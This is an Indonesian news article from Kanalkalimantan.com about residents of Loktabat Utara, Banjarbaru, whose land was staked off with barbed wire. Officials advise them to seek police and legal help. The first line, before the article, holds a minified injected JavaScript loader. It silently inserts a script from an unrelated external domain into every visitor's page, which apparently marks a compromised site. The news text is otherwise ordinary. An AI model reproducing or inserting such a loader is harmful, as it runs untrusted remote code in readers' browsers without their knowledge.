(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Warga Loktabat Utara Ngadu Pematokan Tanah Sepihak ke Kelurahan


KANALKALIMANTAN.COM, BANJARBARU – Warga yang kena pematokan tanah secara sepihak di Jalan Karang Anyar 1, RT 20 dan RT 46 Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, berkonsultasi ke kantor kelurahan mencari jalan keluar dari permasalahan tersebut.

Pada pertemuan tersebut warga diarahkan untuk melapor ke Polres Banjarbaru terkait pematokan lahan secara sepihak tersebut.

Kasi Pemerintahan Kelurahan Loktabat Utara, Yunus Ariyandie mengakui, pihaknya memang mendapatkan surat tembusan somasi dari pihak penggugat kepada warga.

“Kalau kami menyarankan kepada warga agar tidak terprovokasi dan mengkonsultasikan kepada Polres Banjarbaru terkait masalah ini,” ujarnya, Selasa (31/1/2023) siang.

 

Baca juga: Banjir di Martapura, Debit Air Terus Naik Rendam Permukiman Warga

Selain itu, kata Yunus, pihaknya menyarankan agar mengkonsultasikan terkait pematokan tersebut apakah dibenarkan secara hukum.

Diungkapkan Yunus, pihak penggugat -pemasang patok berkawat duri – dan pihak warga masing-masing mengklaim memiliki alas tanah yang legal.

Pematokan sepihak dengan plang bertulisan dengan kawat duri di Jalan Karang Anyar 1, RT 20 dan RT 46, Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara. Foto : ibnu

“Kami menyarankan warga agar menunjuk kuasa hukum, soalnya ini sudah masuk hukum perdata ranah pengadilan,” katanya.

Disebutkan Yunus, penggugat alias pemasang patok mengklaim tanah seluas kurang lebih 12 ribu meter persegi. Sehingga ada beberapa rumah warga yang termasuk di dalam lahan yang diklaim tersebut. Diketahui juga pihak penggugat sudah 2 kali memberikan somasi kepada warga. Namun, hanya diserahkan kepada orang yang berjualan di depan sebagai penyewa.

Baca juga: Bingung Tiba-tiba Ada Patok Plang Merah Berkawat Duri

“Yang terdata ada 7 – 8 orang dan yang diberikan somasi oleh pihak penggugat bukan pemilik asli tanahnya,” sebutnya.

Masih kata Yunus, pihaknya juga menyarankan agar berkonsultasi kepada pihak Polres Banjarbaru, terkait legalitas pematokan yang dilakukan oleh pihak penggugat.

“Terkait pagar, itukan belum ada keputusan pengadilan, setelah ada keputusan baru bisa diambil tindakan tersebut,” pungkasnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.